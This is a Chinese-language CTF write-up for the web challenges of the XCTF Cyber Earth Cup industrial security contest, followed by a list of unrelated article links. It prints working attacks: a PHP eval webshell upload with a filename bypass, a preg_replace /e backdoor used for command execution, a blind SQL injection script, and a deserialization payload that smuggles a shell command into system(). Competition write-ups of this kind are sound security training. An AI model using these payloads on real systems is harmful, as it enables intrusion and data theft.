XCTF-赛博地球杯工业互联网安全大赛web部分题解
0x01工控云管理系统项目管理页面解析漏洞
题目首先给出了源码:
`http://47.104.156.32:20007/view-source.php`
关键代码如下:
第一层绕过
php
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
很显然我们需要绕过
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9')
这里有3个需要注意的点:
- `floatval($_GET[id]) !== '1'`的限制
- `substr($_GET[id], -1) === '9')`的限制
- mysql查询的结果限制,id大了查不到,例如29之类的
所以我们容易构造`id=1'--19`
即可轻松获得`$_SESSION['admin'] = True`
下面来到第二步关键过滤
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
这里需要注意的3个点:
- `$filename = "backup/".$file;`目录为假目录,需要绕过
- `if(preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename))`有一个正则对文件后缀进行过滤
- 真实的上传目录为:uploaded
所以我们这里针对第一个点容易想到,$file加一个../即可绕过这个假目录
针对第二个点,容易发现,匹配只匹配最后一个点的后缀,所以可以引用比较经典的解析问题`sky.php/.`绕过
第3个点,我们的真实目录
所以容易得到如下payload
post数据
con=<?php @eval($_POST['sky2333']);?>&file=sky.php/.
使用菜刀连接即可拿到shell,flag就在`/var/www/html`目录下:`flag{Fla_G_IS_7i8S_YYYES!}`
0x02 工控云管理系统设备维护中心被植入后门
题目给出连接
`http://47.104.74.209:20005/index.php?page=index`
一看到第一反应就是文件包含
随机读源码:
`http://47.104.74.209:20005/index.php?page=php://filter/read=convert.base64-encode/resource=index.php`
可以得到index.php的源码
关键代码:
<?php
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
很典型的`preg_replace`后门
给出参考链接:`http://www.jb51.net/article/38714.htm`
调用方法:
`preg_replace("/test/e",phpinfo(),"jutst test");`
所以下面构造payload,需要注意的是
`$_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1'`
我们需要改xff为127.0.0.1才能触发后门
payload:
pat=/test/e&rep=phpinfo()&sub=jutst%20test
所以下面我们只需要执行命令即可
先看一下当前目录
发现有可疑文件夹`s3chahahaDir`
继续深入文件夹查看`cd s3chahahaDir && ls`
发现`flag`文件夹
最终可以找到flag位置,并读取flag
`cat s3chahahaDir/flag/flag.php`
$flag = 'flag{SecuriTY_Preg_eee3}';
0x03 大量设备报表不见了(签道题)
纯脑洞题,卡了许久
看到url:`http://120.27.14.73:20006/index.php?id=1`
以为是注入,却发现只要不是数字都会302跳转,后来扫了5万目录字典……啥也没有
一气之下开始爆破id……竟然在
`http://120.27.14.73:20006/index.php?id=2333`
获得flag:flag{2333_bao_pO_OOOO0o_o0OOO}
0x04 工控管理系统新版本
题目给了3个页面:
login.php
regist.php
findpwd.php
其中在findpwd.php中发现注入,并且竟然无任何过滤
所以这里就不详细介绍了,给出注入脚本
python
#!/usr/bin/env python
# encoding: utf-8
import requests
flag = ""
url = "http://47.104.1.173:20004/findpwd.php"
for i in range(1,1000):
for j in range(33,127):
data = {
#"username" :"admin' or ascii(substr((select SCHEMA_NAME from information_schema.SCHEMATA limit 3,1),%s,1))=%s#"%(i,j)
#"username": "admin' or ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x63657463303034),%s,1))=%s#" % (i, j)
#"username": "admin' or ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1),%s,1))=%s#" % (i, j)
"username": "admin' or ascii(substr((select username from `cetc004`.admin limit 0,1),%s,1))=%s#" % (i, j)
}
r = requests.post(url=url,data=data)
if "您的密保问题是cetc" in r.content:
flag += chr(j)
print flag
break
探测结果
库名
cetc004
表名
admin,user
admin表——字段
username,password,question,answer
username=c3tlwDmIn23
password=2f8667f381ff50ced6a3edc259260ba9
question=cetc
answer=cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds
然后只要注册一个同名用户,即可以管理员身份登录,获取flag:`flag{find_passwd_is_unSaGFFF}`
0x05 工控系统的敏感消息遭泄漏
拿到题目`http://47.104.99.231:20003/index2.php`
扫了一下目录,发现.git泄露,随机拿到源码
关键代码如下:
index2.php
php
if(isset($ad)){
if(ereg("^[a-zA-Z0-9]+$", $ad) === FALSE)
{
echo '<script>alert("Sorry ! Again !")</script>';
}
elseif(strpos($ad, '--') !== FALSE)
{
echo "Ok Evrything will be fine!<br ><br >";
if (stripos($secret, './') > 0) {
die();
}
unserialize($secret);
}
else
{
echo '<script>alert("Sorry ! You must have --")</script>';
}
}
class.php
php
<?php
error_reporting(0);
class Record{
public $file="Welcome";
public function __construct($file)
{
$this->file = $file;
}
public function __sleep()
{
$this->file = 'sleep.txt';
return array('file');
}
public function __wakeup()
{
$this->file = 'wakeup.txt';
}
public function __destruct()
{
if ($this->file != 'wakeup.txt' && $this->file != 'sleep.txt' && $this->file != 'Welcome') {
system("php ./import/$this->file.php");
}
else{
echo "<?php Something destroyed ?>";
}
}
}
$b =new Record('Welcome');
unset($b);
?>
很明显的一个反序列化题目
首先是ad参数的绕过
php
if(ereg("^[a-zA-Z0-9]+$", $ad) === FALSE)
{
echo '<script>alert("Sorry ! Again !")</script>';
}
elseif(strpos($ad, '--') !== FALSE)
{
……
}
这里比较容易,ereg()存在黑魔法,可以%00截断
所以得到:`http://47.104.99.231:20003/index2.php?ad=sky%00--`
然后是secret参数的序列化构造
我们首先尝试读取Flag.php文件
php
class Record{
public $file="Flag";
public function __construct($file)
{
$this->file = $file;
}
}
$file = "Flag";
$sky =new Record($file);
echo serialize($sky);
得到:`O:6:"Record":1:{s:4:"file";s:4:"Flag";}`
但这里显然这里是要求我们绕过wakeup()魔法函数
原因如下:
php
public function __destruct()
{
if ($this->file != 'wakeup.txt' && $this->file != 'sleep.txt' && $this->file != 'Welcome') {
system("php ./import/$this->file.php");
}
else{
echo "<?php Something destroyed ?>";
}
}
这里也是老生常谈的问题了,只要改变一下:
`O:6:"Record":10:{s:4:"file";s:4:"Flag";}`
即可
这时发现flag是在Flag.php的注释里,需要读源码
那么这里就必须绕过`system("php ./import/$this->file.php")`
这里比较容易,进行一个简单的拼接即可
php
<?php
error_reporting(0);
class Record{
public $file="Flag.php && echo `cat /var/www/html/import/Flag.php`";
public function __construct($file)
{
$this->file = $file;
}
}
$file = "Flag.php && echo `cat /var/www/html/import/Flag.php`";
$sky =new Record($file);
echo serialize($sky);
?>
然后即可获得flag
view-source:http://47.104.99.231:20003/index2.php?ad=sky%00--&secret=O%3a6%3a%22Record%22%3a10%3a%7bs%3a4%3a%22file%22%3bs%3a52%3a%22Flag%2ephp%20%26%26%20echo%20%60cat%20%2fvar%2fwww%2fhtml%2fimport%2fFlag%2ephp%60%22%3b%7d
得到:
Flag is !<?php error_reporting(0); //$flag = "flag{g_i_i_t_is_unsafe_ahhhahahah}"; echo "Flag is !"; ?>.php
- React第三方组件2(状态管理之Refast的使用②异步修改state)
- UVa Automatic Editing
- React第三方组件2(状态管理之Refast的使用①简单使用)
- uva Excuses, Excuses!
- React第三方组件5(状态管理之Redux的使用④TodoList下)
- 2017/6/9-Python文件读写的方法
- React第三方组件5(状态管理之Redux的使用③TodoList中)
- R语言在收入不平等指标测度上的应用~
- React第三方组件5(状态管理之Redux的使用②TodoList上)
- sscanf
- sprintf的用法
- 01背包精讲
- uva Andy's First Dictionary
- UVA Hangman Judge
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Mybatis高级查询(四):延迟加载
- I/O多路复用器之隐秘的角落
- 打卡群刷题总结0809——二叉树的锯齿形层次遍历
- 简单的ssm整合练手项目:汽车项目
- 在spring-boot中使用pageHelper插件
- 要深入 JavaScript,你需要掌握这 36 个概念
- mybatis-plus实现增删改查
- mybatis-plus代码生成器
- mybatis-plus逻辑删除
- mybatis-plus一些关键配置
- mybatis-plus自定义sql注入器
- k8s代码走读---kube-controller-manager
- 我们一起学一学渗透测试——黑客应该掌握的HTML基础知识(一)
- 一套漏洞组合拳接管你的账号
- 我们一起学一学渗透测试——黑客应该掌握的HTML基础知识(二)